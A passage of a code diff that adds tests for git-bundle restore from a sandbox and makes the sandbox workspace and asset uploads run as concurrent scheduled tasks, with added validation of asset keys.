+      writeFile: async (remotePath, bytes) => {
+        await mkdir(path.dirname(remotePath), { recursive: true });
+        await writeFile(remotePath, Buffer.from(bytes));
+      },
+      readFile: async (remotePath) => {
+        capture.readFilePaths.push(remotePath);
+        return await readFile(remotePath);
+      },
+      listFiles: async () => [],
+      remove: async (remotePath) => {
+        await rm(remotePath, { recursive: true, force: true });
+      },
+      run: async (command) => {
+        await execFile("sh", ["-c", command], { maxBuffer: 32 * 1024 * 1024 });
+      },
+    };
+    attachFallbackSyncIn(client);
+    if (native) {
+      client.syncOut = async (operations) => {
+        for (const operation of operations) {
+          capture.syncOutOperations.push(operation);
+          for (const mapping of operation.files) {
+            if (mapping.kind === "directory") {
+              await copyDirectoryWithExclude(mapping.sourcePath, mapping.targetPath, mapping.exclude);
+            } else {
+              await mkdir(path.dirname(mapping.targetPath), { recursive: true });
+              await writeFile(mapping.targetPath, await readFile(mapping.sourcePath));
+            }
+          }
+        }
+        return {
+          operations: operations.map((operation) => ({
+            operationId: operation.operationId,
+            filesTransferred: operation.files.length,
+            bytesTransferred: 0,
+          })),
+        };
+      };
+    }
+    return client;
+  }
+
+  const gitSpec = (remoteWorkspaceDir: string) => ({
+    transport: "sandbox" as const,
+    provider: "test",
+    sandboxId: "sandbox-1",
+    remoteCwd: remoteWorkspaceDir,
+    timeoutMs: 30_000,
+    apiKey: null,
+  });
+
+  // Create a git repository with one commit and a linked worktree. Return the
+  // host worktree directory and the sandbox workspace directory the prepare step
+  // fills through a shallow standalone clone.
+  async function setupGitBackedWorkspace(prefix: string): Promise<{
+    localWorkspaceDir: string;
+    remoteWorkspaceDir: string;
+  }> {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), prefix));
+    cleanupDirs.push(rootDir);
+    const sourceRepoDir = path.join(rootDir, "source-repo");
+    const localWorkspaceDir = path.join(rootDir, "local-worktree");
+    const remoteWorkspaceDir = path.join(rootDir, "remote-workspace");
+    await mkdir(sourceRepoDir, { recursive: true });
+    await git(sourceRepoDir, ["init"]);
+    await git(sourceRepoDir, ["checkout", "-b", "main"]);
+    await git(sourceRepoDir, ["config", "user.name", "Paperclip Test"]);
+    await git(sourceRepoDir, ["config", "user.email", "test@paperclip.dev"]);
+    await writeFile(path.join(sourceRepoDir, ".gitignore"), "node_modules/\n", "utf8");
+    await writeFile(path.join(sourceRepoDir, "tracked.txt"), "base\n", "utf8");
+    await git(sourceRepoDir, ["add", "-A"]);
+    await git(sourceRepoDir, ["commit", "-m", "base"]);
+    await git(sourceRepoDir, ["worktree", "add", "-b", "work", localWorkspaceDir, "HEAD"]);
+    return { localWorkspaceDir, remoteWorkspaceDir };
+  }
+
+  // Advance the sandbox history by one commit that also adds a new file. The
+  // caller runs the restore after this, so the export moves this new history.
+  async function commitInSandbox(remoteWorkspaceDir: string): Promise<void> {
+    await git(remoteWorkspaceDir, ["config", "user.name", "Paperclip Sandbox"]);
+    await git(remoteWorkspaceDir, ["config", "user.email", "sandbox@paperclip.dev"]);
+    await writeFile(path.join(remoteWorkspaceDir, "remote-only.txt"), "from sandbox\n", "utf8");
+    await git(remoteWorkspaceDir, ["add", "-A"]);
+    await git(remoteWorkspaceDir, ["commit", "-m", "sandbox update"]);
+  }
+
+  function bundleFileMappings(capture: TransportCapture) {
+    return capture.syncOutOperations
+      .flatMap((operation) => operation.files)
+      .filter((mapping) => path.posix.basename(mapping.sourcePath) === "git-delta.bundle");
+  }
+
+  it("moves the bundle through one native syncOut file mapping, never through readFile", async () => {
+    const capture: TransportCapture = { syncOutOperations: [], readFilePaths: [] };
+    const { localWorkspaceDir, remoteWorkspaceDir } = await setupGitBackedWorkspace("paperclip-bundle-native-");
+    const client = makeTransportClient(true, capture);
+    const prepared = await prepareSandboxManagedRuntime({
+      spec: gitSpec(remoteWorkspaceDir),
+      adapterKey: "test-adapter",
+      client,
+      workspaceLocalDir: localWorkspaceDir,
+    });
+
+    await commitInSandbox(remoteWorkspaceDir);
+    await prepared.restoreWorkspace();
+
+    // The restore imported the sandbox commit and its new file.
+    expect(await git(localWorkspaceDir, ["log", "-1", "--pretty=%s"])).toBe("sandbox update");
+    await expect(readFile(path.join(localWorkspaceDir, "remote-only.txt"), "utf8")).resolves.toBe("from sandbox\n");
+
+    // The bundle rode exactly one native `kind: "file"` mapping into the host
+    // restore temp directory; `readFile` never touched the bundle.
+    const mappings = bundleFileMappings(capture);
+    expect(mappings).toHaveLength(1);
+    expect(mappings[0]!.kind).toBe("file");
+    expect(path.posix.basename(mappings[0]!.targetPath)).toBe("git-delta.bundle");
+    expect(capture.readFilePaths.some((remotePath) => remotePath.endsWith("git-delta.bundle"))).toBe(false);
+
+    // The small status file stays on `readFile`; the change does not migrate it.
+    expect(capture.readFilePaths.some((remotePath) => remotePath.endsWith("workspace-status.txt"))).toBe(true);
+  });
+
+  it("reads the bundle through readFile when the client has no native syncOut", async () => {
+    const capture: TransportCapture = { syncOutOperations: [], readFilePaths: [] };
+    const { localWorkspaceDir, remoteWorkspaceDir } = await setupGitBackedWorkspace("paperclip-bundle-fallback-");
+    const client = makeTransportClient(false, capture);
+    const prepared = await prepareSandboxManagedRuntime({
+      spec: gitSpec(remoteWorkspaceDir),
+      adapterKey: "test-adapter",
+      client,
+      workspaceLocalDir: localWorkspaceDir,
+    });
+
+    await commitInSandbox(remoteWorkspaceDir);
+    await prepared.restoreWorkspace();
+
+    expect(await git(localWorkspaceDir, ["log", "-1", "--pretty=%s"])).toBe("sandbox update");
+    await expect(readFile(path.join(localWorkspaceDir, "remote-only.txt"), "utf8")).resolves.toBe("from sandbox\n");
+
+    // Without native `syncOut` the fallback path is unchanged: no sync operation
+    // ran and the bundle came back through `readFile`.
+    expect(client.syncOut).toBeUndefined();
+    expect(capture.syncOutOperations).toHaveLength(0);
+    expect(capture.readFilePaths.some((remotePath) => remotePath.endsWith("git-delta.bundle"))).toBe(true);
+  });
+
+  it("retries the full bundle through the native branch when the delta misses its prerequisite", async () => {
+    const capture: TransportCapture = { syncOutOperations: [], readFilePaths: [] };
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-bundle-retry-"));
+    cleanupDirs.push(rootDir);
+    // A standalone host repository, so the test controls object reachability. A
+    // linked worktree shares the source object store, and the boundary commit
+    // stays reachable there; a standalone repository lets `gc` prune it.
+    const localWorkspaceDir = path.join(rootDir, "local-repo");
+    const remoteWorkspaceDir = path.join(rootDir, "remote-workspace");
+    await mkdir(localWorkspaceDir, { recursive: true });
+    await git(localWorkspaceDir, ["init"]);
+    await git(localWorkspaceDir, ["checkout", "-b", "work"]);
+    await git(localWorkspaceDir, ["config", "user.name", "Paperclip Test"]);
+    await git(localWorkspaceDir, ["config", "user.email", "test@paperclip.dev"]);
+    await writeFile(path.join(localWorkspaceDir, "tracked.txt"), "base\n", "utf8");
+    await git(localWorkspaceDir, ["add", "-A"]);
+    await git(localWorkspaceDir, ["commit", "-m", "base"]);
+    const firstCommit = await git(localWorkspaceDir, ["rev-parse", "HEAD"]);
+    await writeFile(path.join(localWorkspaceDir, "tracked.txt"), "second\n", "utf8");
+    await git(localWorkspaceDir, ["add", "-A"]);
+    await git(localWorkspaceDir, ["commit", "-m", "second"]);
+    const stagedBase = await git(localWorkspaceDir, ["rev-parse", "HEAD"]);
+
+    const client = makeTransportClient(true, capture);
+    const prepared = await prepareSandboxManagedRuntime({
+      spec: gitSpec(remoteWorkspaceDir),
+      adapterKey: "test-adapter",
+      client,
+      workspaceLocalDir: localWorkspaceDir,
+    });
+
+    await commitInSandbox(remoteWorkspaceDir);
+    const sandboxHead = await git(remoteWorkspaceDir, ["rev-parse", "HEAD"]);
+
+    // The host drops below the staged base commit and prunes it. The delta
+    // bundle names that boundary commit as a prerequisite the host no longer
+    // holds, so the import fails and forces the full-bundle retry.
+    await git(localWorkspaceDir, ["reset", "--hard", firstCommit]);
+    await git(localWorkspaceDir, ["reflog", "expire", "--expire=now", "--all"]);
+    await git(localWorkspaceDir, ["gc", "--prune=now"]);
+    await expect(git(localWorkspaceDir, ["cat-file", "-e", `${stagedBase}^{commit}`])).rejects.toThrow();
+
+    await prepared.restoreWorkspace();
+
+    // Two bundle exports rode native file mappings: the delta attempt and the
+    // full-bundle retry. `readFile` never moved the bundle on either attempt.
+    const mappings = bundleFileMappings(capture);
+    expect(mappings).toHaveLength(2);
+    expect(mappings.every((mapping) => mapping.kind === "file")).toBe(true);
+    expect(capture.readFilePaths.some((remotePath) => remotePath.endsWith("git-delta.bundle"))).toBe(false);
+
+    // The full bundle was self-contained: the host repository now holds the
+    // sandbox head commit.
+    await expect(git(localWorkspaceDir, ["cat-file", "-e", `${sandboxHead}^{commit}`])).resolves.toBe("");
+  });
+});
diff --git a/packages/adapter-utils/src/sandbox-managed-runtime.ts b/packages/adapter-utils/src/sandbox-managed-runtime.ts
index 3ded18487b1..26196a474f0 100644
--- a/packages/adapter-utils/src/sandbox-managed-runtime.ts
+++ b/packages/adapter-utils/src/sandbox-managed-runtime.ts
@@ -27,6 +27,11 @@ import {
   type RuntimeStatusSink,
 } from "./runtime-progress.js";
 import { isRelativePathOrDescendant, shouldExcludePath } from "./exclude-patterns.js";
+import {
+  scheduleSyncOperations,
+  SYNC_OPERATION_CONCURRENCY_LIMIT,
+  type SyncOperationTask,
+} from "./sync-operation-schedule.js";
 import type { RuntimeSpanRunner } from "./acpx-engine/startup-timing.js";
 
 const execFile = promisify(execFileCallback);
@@ -102,11 +107,18 @@ export interface SandboxManagedRuntimeAssetProvision {
 /**
  * Context passed to an asset's `restore` contribution during teardown.
  * `assetDir` is the asset's directory inside the sandbox and `readFile` reads
- * a file back from the sandbox as raw bytes.
+ * a file back from the sandbox as raw bytes. `tempDir` is a host scratch
+ * directory that belongs to this restore task alone. The shared scheduler can
+ * run restore tasks at the same time, so a task must not share scratch space
+ * with another task. A restore that needs a host temporary file writes it under
+ * `tempDir`. The coordinator removes the directory after the task settles. The
+ * sandbox coordinator always sets `tempDir`. A serial runtime that never runs
+ * restore tasks at the same time can omit it.
  */
 export interface SandboxManagedRuntimeAssetRestoreContext {
   assetDir: string;
   readFile: (remotePath: string) => Promise<Buffer>;
+  tempDir?: string;
 }
 
 export interface SandboxManagedRuntimeAsset {
@@ -244,6 +256,15 @@ export interface SandboxManagedRuntimeClient {
   listFiles(remotePath: string): Promise<string[]>;
   remove(remotePath: string): Promise<void>;
   run(command: string, options: { timeoutMs: number }): Promise<void>;
+  /**
+   * True when the orchestrator may run this client's sync operations
+   * concurrently. The base64 fallback always sets it true. A native provider
+   * takes the value from the verified `concurrentSyncOperations` opt-in; an
+   * undeclared native provider keeps it false. One flag serves both `syncIn` and
+   * `syncOut`. `createCommandManagedRuntimeClient` always sets it on a prepared
+   * client; it is optional here so a test mock can omit it.
+   */
+  allowConcurrentSyncOperations?: boolean;
   /**
    * Optional native inbound transfer. Present only when the sandbox provider
    * advertises both `environmentSyncIn` and `environmentSyncOut`; otherwise the
@@ -358,9 +379,18 @@ function buildWorkspaceTarExtractCommand(input: {
   remoteTar: string;
   wipeExceptNames: string[] | null;
 }): string {
+  // The wipe must also preserve any in-flight sync scratch tarball at the
+  // workspace root. A concurrent referenced-project upload stages a scratch
+  // tarball named `.paperclip-upload-<uuid>.tar` there. Without this preserve
+  // term the wipe unlinks the in-flight tarball and the later extract fails.
+  // The static pattern must agree with the daytona scratch prefix
+  // `SCRATCH_PREFIX` in
+  // `packages/plugins/sandbox-providers/daytona/src/file-sync.ts:80`.
+  // The term is a static literal; `preserveFindArgs` shell-quotes it, so the
+  // shell passes it to `find -name` as a pattern (Security Conditions C1/C3).
   const wipe = input.wipeExceptNames
     ? ` && find ${shellQuote(input.workspaceRemoteDir)} -mindepth 1 -maxdepth 1 ` +
-      `${preserveFindArgs(input.wipeExceptNames)} -exec rm -rf -- {} +`
+      `${preserveFindArgs([...input.wipeExceptNames, ".paperclip-upload-*"])} -exec rm -rf -- {} +`
     : "";
   return (
     `mkdir -p ${shellQuote(input.workspaceRemoteDir)}${wipe} && ` +
@@ -384,6 +414,29 @@ function buildUniqueStagingPath(input: { targetPath: string; suffix: string }):
   return `${input.targetPath}${input.suffix}.${randomUUID()}`;
 }
 
+// The workspace stages under `<runtimeRootDir>/workspace-upload.tar` and, for a
+// git-backed workspace, under `<runtimeRootDir>/git-workspace-upload.tar`. Each
+// asset stages under `<runtimeRootDir>/<key>-upload.tar`, so an asset key equal to
+// one of these stems resolves to the same remote archive path. Reserve the stems.
+const RESERVED_RUNTIME_ASSET_KEYS = new Set(["workspace", "git-workspace"]);
+
+// Reject an asset key before any path is built from it. An asset key becomes a
+// remote directory (`<runtimeRootDir>/<key>`), a remote archive name
+// (`<key>-upload.tar`), and a host temp file (`<key>.tar`). A path separator or
+// `..` in the key escapes those roots. A reserved stem makes the asset archive
+// share a path with the workspace archive; under concurrent sync the asset task
+// and the workspace task then write or upload the same archive at the same time,
+// which fails extraction nondeterministically or puts asset bytes in the
+// workspace. Fail closed on both cases.
+function assertRuntimeAssetKeyIsSafe(key: string): void {
+  if (key.length === 0 || key.includes("/") || key.includes("\\") || key.includes("..")) {
+    throw new Error(`sandbox runtime asset key is not a simple path segment: ${key}`);
+  }
+  if (RESERVED_RUNTIME_ASSET_KEYS.has(key)) {
+    throw new Error(`sandbox runtime asset key collides with a reserved runtime archive name: ${key}`);
+  }
+}
+
 export function parseSandboxRemoteExecutionSpec(value: unknown): SandboxRemoteExecutionSpec | null {
   const parsed = asObject(value);
   const transport = asString(parsed.transport).trim();
@@ -715,13 +768,24 @@ export async function prepareSandboxManagedRuntime(input: {
   const runtimeRootDir = path.posix.join(workspaceRemoteDir, ".paperclip-runtime", input.adapterKey);
   const syncWorkspace = input.syncWorkspace !== false;
 
-  // Wrap a host-side staging sub-step in its own span when the caller injects a
-  // runtime span runner. Mirrors the `pack` span below: the runner defaults to a
-  // no-op, so a caller with no injected runner keeps the current control flow,
-  // and a throwing runner never changes it (see `createRuntimeSpanRunner`). Each
-  // span parents under the `stage.sync` step, so the two pre-`pack` operations —
-  // the git enumeration and the baseline content-hash walk — stop showing up as
-  // a hidden gap at the head of the step.
+  // Reject any unsafe asset key before an archive path or an asset directory is
+  // built from it. This runs before the git snapshot work so a bad key fails fast.
+  for (const asset of input.assets ?? []) {
+    assertRuntimeAssetKeyIsSafe(asset.key);
+  }
+
+  // Wrap a host-side staging sub-step or one scheduler task in its own span when
+  // the caller injects a runtime span runner. The runner defaults to a no-op, so
+  // a caller with no injected runner keeps the current control flow, and a
+  // throwing runner never changes it (see `createRuntimeSpanRunner`). The two
+  // pre-`pack` operations — the git enumeration and the baseline content-hash
+  // walk — parent under the `stage.sync` step, so they stop showing up as a
+  // hidden gap at the head of the step. Each inbound task (`stage.workspace`,
+  // `stage.asset.<key>`, `stage.project.<id>`) and each outbound restore task
+  // (`restore.workspace`, `restore.asset.<key>`) opens its own span, so two
+  // concurrent tasks produce overlapping spans and the `pack` span nests under
+  // `stage.workspace`. The outbound spans parent under the run's `sandbox.syncBack`
+  // span, because the teardown runs the restore inside that span.
   const runStepSpan = <T>(name: string, work: () => Promise<T>): Promise<T> =>
     input.runtimeSpan ? input.runtimeSpan(name, work) : work();
 
@@ -851,167 +915,192 @@ export async function prepareSandboxManagedRuntime(input: {
       await upload.finish(params.progressBytes, params.progressBytes);
     };
 
+    // Build the ordered inbound operation task list. Each task stages one inbound
+    // operation from start to end: it packs the bytes, confines the mappings, and
+    // uploads them. The shared scheduler starts the tasks. When the sync client
+    // permits concurrency, the scheduler keeps at most SYNC_OPERATION_CONCURRENCY_LIMIT
+    // tasks active. When the client does not permit concurrency, the scheduler runs
+    // one task at a time in this order. The scheduler settles every started task
+    // before it returns, so no upload outlives the coordinator and ACP never starts
+    // before the barrier.
+    const inboundTasks: Array<SyncOperationTask<void>> = [];
+    // A required-flag list, one entry per task and index-aligned with inboundTasks.
+    // The workspace and each asset are required operations: a rejection is fatal
+    // after the barrier. Each referenced project is a nonfatal operation: its task
+    // records its own failure and never rejects.
+    const inboundTaskIsRequired: boolean[] = [];
+
     if (syncWorkspace) {
-      // A git-backed workspace and a plain workspace both stage through ONE
-      // confined `syncIn` operation. A git-backed workspace carries TWO host tars —
-      // the git-history clone and the working-tree overlay — as two `file` mappings
-      // on the SAME operation, with their extract commands as ordered
-      // `postUploadCommands`. One operation shares one mkdir, one confine guard, one
-      // `uploadFiles`, and one rename exec, so the second `syncIn` round trip is
-      // removed. Build the whole merged file set and command list BEFORE the confine
-      // guard runs (inside `stageConfinedSyncIn`); never append a mapping after it.
-      const workspaceFiles: SandboxSyncFileMapping[] = [];
-      const workspacePostUploadCommands: SandboxPostUploadCommand[] = [];
-      let workspaceUploadBytes = 0;
+      inboundTaskIsRequired.push(true);
+      inboundTasks.push(() =>
+        runStepSpan("stage.workspace", async () => {
+          // A git-backed workspace and a plain workspace both stage through ONE
+          // confined `syncIn` operation. A git-backed workspace carries TWO host tars —
+          // the git-history clone and the working-tree overlay — as two `file` mappings
+          // on the SAME operation, with their extract commands as ordered
+          // `postUploadCommands`. One operation shares one mkdir, one confine guard, one
+          // `uploadFiles`, and one rename exec, so the second `syncIn` round trip is
+          // removed. Build the whole merged file set and command list BEFORE the confine
+          // guard runs (inside `stageConfinedSyncIn`); never append a mapping after it.
+          const workspaceFiles: SandboxSyncFileMapping[] = [];
+          const workspacePostUploadCommands: SandboxPostUploadCommand[] = [];
+          let workspaceUploadBytes = 0;
 
-      // Build both host tarballs (the git-history tar and the workspace-overlay
-      // tar) inside one host span named `pack`. This span makes the host pack
-      // time visible under the `stage.sync` step, where it is otherwise a hidden
-      // gap with no span. The transfer (`stageConfinedSyncIn`) runs after this
-      // span, so `pack` measures only the host tar-build cost. The runner
-      // defaults to a no-op, so a caller with no injected runner keeps the
-      // current behavior and control flow.
-      await runStepSpan("pack", async () => {
-        // 1. git-history tar (git-backed workspace only). Both tar targets live under
-        //    `runtimeRootDir` (`.paperclip-runtime/<adapterKey>`). The git extract
-        //    wipes the target tree EXCEPT `.paperclip-runtime`, so the overlay tar,
-        //    which sits under `.paperclip-runtime`, survives to run its own extract.
-        if (gitSnapshot) {
-          await emitRuntimeStatus(input.onRuntimeProgress, "git_sync", "Syncing git history to sandbox");
-          const gitTarPath = path.join(tempDir, "git-workspace.tar");
-          const remoteGitTar = path.posix.join(runtimeRootDir, "git-workspace-upload.tar");
-          await withShallowGitWorkspaceClone({
-            localDir: input.workspaceLocalDir,
-            snapshot: gitSnapshot,
-          }, async (cloneDir) => {
+          // Build both host tarballs (the git-history tar and the workspace-overlay
+          // tar) inside one host span named `pack`. This span makes the host pack
+          // time visible under the `stage.sync` step, where it is otherwise a hidden
+          // gap with no span. The transfer (`stageConfinedSyncIn`) runs after this
+          // span, so `pack` measures only the host tar-build cost. The runner
+          // defaults to a no-op, so a caller with no injected runner keeps the
+          // current behavior and control flow.
+          await runStepSpan("pack", async () => {
+            // 1. git-history tar (git-backed workspace only). Both tar targets live under
+            //    `runtimeRootDir` (`.paperclip-runtime/<adapterKey>`). The git extract
+            //    wipes the target tree EXCEPT `.paperclip-runtime`, so the overlay tar,
+            //    which sits under `.paperclip-runtime`, survives to run its own extract.
+            if (gitSnapshot) {
+              await emitRuntimeStatus(input.onRuntimeProgress, "git_sync", "Syncing git history to environment");
+              const gitTarPath = path.join(tempDir, "git-workspace.tar");
+              const remoteGitTar = path.posix.join(runtimeRootDir, "git-workspace-upload.tar");
+              await withShallowGitWorkspaceClone({
+                localDir: input.workspaceLocalDir,
+                snapshot: gitSnapshot,
+              }, async (cloneDir) => {
+                await createTarballFromDirectory({
+                  localDir: cloneDir,
+                  archivePath: gitTarPath,
+                  exclude: [".paperclip-runtime"],
+                });
+              });
+              workspaceFiles.push({ sourcePath: gitTarPath, targetPath: remoteGitTar, kind: "file", access: "rw", writablePath: workspaceRemoteDir });
+              workspacePostUploadCommands.push({
+                command: buildWorkspaceTarExtractCommand({
+                  workspaceRemoteDir,
+                  remoteTar: remoteGitTar,
+                  wipeExceptNames: [".paperclip-runtime"],
+                }),
+              });
+              workspaceUploadBytes += (await fs.stat(gitTarPath)).size;
+            }
+
+            // 2. workspace-overlay tar. A git-backed overlay merges on top of the just
+            //    extracted git tree (no wipe); a plain workspace wipes every child except
+            //    the preserved names first. The extract runs AFTER the git extract.
+            await emitRuntimeStatus(input.onRuntimeProgress, "config_sync", "Syncing workspace to environment");
+            const workspaceTarPath = path.join(tempDir, "workspace.tar");
+            const workspaceArchiveDir = gitSnapshot ? path.join(tempDir, "workspace-overlay") : input.workspaceLocalDir;
+            if (gitSnapshot) {
+              await copySelectedWorkspaceEntries({
+                sourceDir: input.workspaceLocalDir,
+                targetDir: workspaceArchiveDir,
+                relativePaths: gitSnapshot.overlayPaths,
+                exclude: workspaceArchiveExclude,
+              });
+            }
             await createTarballFromDirectory({
-              localDir: cloneDir,
-              archivePath: gitTarPath,
-              exclude: [".paperclip-runtime"],
+              localDir: workspaceArchiveDir,
+              archivePath: workspaceTarPath,
+              exclude: gitSnapshot ? undefined : workspaceArchiveExclude,
             });
+            const remoteWorkspaceTar = path.posix.join(runtimeRootDir, "workspace-upload.tar");
+            workspaceFiles.push({ sourcePath: workspaceTarPath, targetPath: remoteWorkspaceTar, kind: "file", access: "rw", writablePath: workspaceRemoteDir });
+            workspacePostUploadCommands.push({
+              command: buildWorkspaceTarExtractCommand({
+                workspaceRemoteDir,
+                remoteTar: remoteWorkspaceTar,
+                wipeExceptNames: gitSnapshot ? null : [...preservedNames],
+              }),
+            });
+            // 3. Optional remove-deleted-paths command runs LAST, after both extracts.
+            if (gitSnapshot && gitSnapshot.deletedPaths.length > 0) {
+              workspacePostUploadCommands.push({
+                command: buildRemoveDeletedPathsCommand({
+                  remoteDir: workspaceRemoteDir,
+                  deletedPaths: gitSnapshot.deletedPaths,
+                }),
+              });
+            }
+            workspaceUploadBytes += (await fs.stat(workspaceTarPath)).size;
           });
-          workspaceFiles.push({ sourcePath: gitTarPath, targetPath: remoteGitTar, kind: "file", access: "rw", writablePath: workspaceRemoteDir });
-          workspacePostUploadCommands.push({
-            command: buildWorkspaceTarExtractCommand({
-              workspaceRemoteDir,
-              remoteTar: remoteGitTar,
-              wipeExceptNames: [".paperclip-runtime"],
-            }),
-          });
-          workspaceUploadBytes += (await fs.stat(gitTarPath)).size;
-        }
 
-        // 2. workspace-overlay tar. A git-backed overlay merges on top of the just
-        //    extracted git tree (no wipe); a plain workspace wipes every child except
-        //    the preserved names first. The extract runs AFTER the git extract.
-        await emitRuntimeStatus(input.onRuntimeProgress, "config_sync", "Syncing workspace to sandbox");
-        const workspaceTarPath = path.join(tempDir, "workspace.tar");
-        const workspaceArchiveDir = gitSnapshot ? path.join(tempDir, "workspace-overlay") : input.workspaceLocalDir;
-        if (gitSnapshot) {
-          await copySelectedWorkspaceEntries({
-            sourceDir: input.workspaceLocalDir,
-            targetDir: workspaceArchiveDir,
-            relativePaths: gitSnapshot.overlayPaths,
-            exclude: workspaceArchiveExclude,
+          // One confined `syncIn` for the whole merged workspace file set. The confine
+          // guard covers every mapping BEFORE any bytes upload (fail-closed): a source
+          // or target escape in EITHER tar mapping stops the upload of both.
+          await stageConfinedSyncIn({
+            files: workspaceFiles,
+            postUploadCommands: workspacePostUploadCommands,
+            sourceRoots: [tempDir],
+            targetRoots: [runtimeRootDir],
+            progressLabel: "workspace",
+            statusPhase: "config_sync",
+            progressBytes: workspaceUploadBytes,
           });
-        }
-        await createTarballFromDirectory({
-          localDir: workspaceArchiveDir,
-          archivePath: workspaceTarPath,
-          exclude: gitSnapshot ? undefined : workspaceArchiveExclude,
-        });
-        const remoteWorkspaceTar = path.posix.join(runtimeRootDir, "workspace-upload.tar");
-        workspaceFiles.push({ sourcePath: workspaceTarPath, targetPath: remoteWorkspaceTar, kind: "file", access: "rw", writablePath: workspaceRemoteDir });
-        workspacePostUploadCommands.push({
-          command: buildWorkspaceTarExtractCommand({
-            workspaceRemoteDir,
-            remoteTar: remoteWorkspaceTar,
-            wipeExceptNames: gitSnapshot ? null : [...preservedNames],
-          }),
-        });
-        // 3. Optional remove-deleted-paths command runs LAST, after both extracts.
-        if (gitSnapshot && gitSnapshot.deletedPaths.length > 0) {
-          workspacePostUploadCommands.push({
-            command: buildRemoveDeletedPathsCommand({
-              remoteDir: workspaceRemoteDir,
-              deletedPaths: gitSnapshot.deletedPaths,
-            }),
-          });
-        }
-        workspaceUploadBytes += (await fs.stat(workspaceTarPath)).size;
-      });
-
-      // One confined `syncIn` for the whole merged workspace file set. The confine
-      // guard covers every mapping BEFORE any bytes upload (fail-closed): a source
-      // or target escape in EITHER tar mapping stops the upload of both.
-      await stageConfinedSyncIn({
-        files: workspaceFiles,
-        postUploadCommands: workspacePostUploadCommands,
-        sourceRoots: [tempDir],
-        targetRoots: [runtimeRootDir],
-        progressLabel: "workspace",
-        statusPhase: "config_sync",
-        progressBytes: workspaceUploadBytes,
-      });
+        }),
+      );
     }
 
     for (const asset of input.assets ?? []) {
-      await emitRuntimeStatus(input.onRuntimeProgress, "config_sync", "Syncing runtime assets to sandbox");
-      const remoteAssetDir = path.posix.join(runtimeRootDir, asset.key);
-      const remoteAssetTar = path.posix.join(runtimeRootDir, `${asset.key}-upload.tar`);
-      // Every asset — default OR custom-provisioned (e.g. an adapter credential
-      // merge) — rides one `syncIn` operation: the asset tar plus any staged
-      // helper files as `files` mappings, and the extract/merge command as the
-      // ordered post-upload command. There is no native-diversion gate; a
-      // custom-provisioned asset's bytes now ride native `uploadFiles` and its
-      // command runs as a provider-executed post-upload command.
-      const assetTarPath = path.join(tempDir, `${asset.key}.tar`);
-      await createTarballFromDirectory({
-        localDir: asset.localDir,
-        archivePath: assetTarPath,
-        followSymlinks: asset.followSymlinks,
-        exclude: asset.exclude,
-      });
-      const files: SandboxSyncFileMapping[] = [
-        { sourcePath: assetTarPath, targetPath: remoteAssetTar, kind: "file", access: "rw", writablePath: remoteAssetDir },
-      ];
-      // Stage provision helper files (e.g. the merge scripts) into the temp dir
-      // and map them alongside the asset tar so they ride the same native upload.
-      for (const stageFile of asset.provision?.stageFiles ?? []) {
-        const safeName = stageFile.name;
-        if (/[\\/]|\.\.(\.|$)/.test(safeName) || safeName === "..") {
-          throw new Error(`provision stageFile.name must be a simple basename, got: ${safeName}`);
-        }
-        const stageBytes = typeof stageFile.contents === "string"
-          ? Buffer.from(stageFile.contents)
-          : stageFile.contents;
-        const stageHostPath = path.join(tempDir, `${asset.key}.stage.${safeName}`);
-        await fs.writeFile(stageHostPath, stageBytes);
-        // A stage helper file (for example a merge script) is a read-only input
-        // that the provision command reads; the agent does not change it and does
-        // not keep it. So it is `access: "ro"` and never joins the writable set.
-        files.push({
-          sourcePath: stageHostPath,
-          targetPath: path.posix.join(runtimeRootDir, safeName),
-          kind: "file",
-          access: "ro",
-        });
-      }
-      const postUploadCommand = asset.provision?.postUploadCommand?.({
-        assetTarPath: remoteAssetTar,
-        assetDir: remoteAssetDir,
-        runtimeRootDir,
-      }) ?? buildDefaultExtractRuntimeAssetCommand({ remoteAssetDir, remoteAssetTar });
-      const assetTarSize = (await fs.stat(assetTarPath)).size;
-      await stageConfinedSyncIn({
-        files,
-        postUploadCommands: [{ command: postUploadCommand }],
-        sourceRoots: [tempDir],
-        targetRoots: [runtimeRootDir],
-        progressLabel: asset.key,
-        statusPhase: "config_sync",
-        progressBytes: assetTarSize,
-      });
+      inboundTaskIsRequired.push(true);
+      inboundTasks.push(() =>
+        runStepSpan(`stage.asset.${asset.key}`, async () => {
+          await emitRuntimeStatus(input.onRuntimeProgress, "config_sync", "Syncing runtime assets to environment");
+          const remoteAssetDir = path.posix.join(runtimeRootDir, asset.key);
+          const remoteAssetTar = path.posix.join(runtimeRootDir, `${asset.key}-upload.tar`);
+          // Every asset — default OR custom-provisioned (e.g. an adapter credential
+          // merge) — rides one `syncIn` operation: the asset tar plus any staged
+          // helper files as `files` mappings, and the extract/merge command as the
+          // ordered post-upload command. There is no native-diversion gate; a
+          // custom-provisioned asset's bytes now ride native `uploadFiles` and its
+          // command runs as a provider-executed post-upload command.
+          const assetTarPath = path.join(tempDir, `${asset.key}.tar`);
+          await createTarballFromDirectory({
+            localDir: asset.localDir,
+            archivePath: assetTarPath,
+            followSymlinks: asset.followSymlinks,
+            exclude: asset.exclude,
+          });
+          const files: SandboxSyncFileMapping[] = [
+            { sourcePath: assetTarPath, targetPath: remoteAssetTar, kind: "file", access: "rw", writablePath: remoteAssetDir },
+          ];
+          // Stage provision helper files (e.g. the merge scripts) into the temp dir
+          // and map them alongside the asset tar so they ride the same native upload.
+          for (const stageFile of asset.provision?.stageFiles ?? []) {
+            const safeName = stageFile.name;
+            if (/[\\/]|\.\.(\.|$)/.test(safeName) || safeName === "..") {
+              throw new Error(`provision stageFile.name must be a simple basename, got: ${safeName}`);
+            }
+            const stageBytes = typeof stageFile.contents === "string"
+              ? Buffer.from(stageFile.contents)
+              : stageFile.contents;
+            const stageHostPath = path.join(tempDir, `${asset.key}.stage.${safeName}`);
+            await fs.writeFile(stageHostPath, stageBytes);
+            // A stage helper file (for example a merge script) is a read-only input
+            // that the provision command reads; the agent does not change it and does
+            // not keep it. So it is `access: "ro"` and never joins the writable set.
+            files.push({
+              sourcePath: stageHostPath,
+              targetPath: path.posix.join(runtimeRootDir, safeName),
+              kind: "file",
+              access: "ro",
+            });
+          }
+          const postUploadCommand = asset.provision?.postUploadCommand?.({
+            assetTarPath: remoteAssetTar,
+            assetDir: remoteAssetDir,
+            runtimeRootDir,
+          }) ?? buildDefaultExtractRuntimeAssetCommand({ remoteAssetDir, remoteAssetTar });
+          const assetTarSize = (await fs.stat(assetTarPath)).size;
+          await stageConfinedSyncIn({
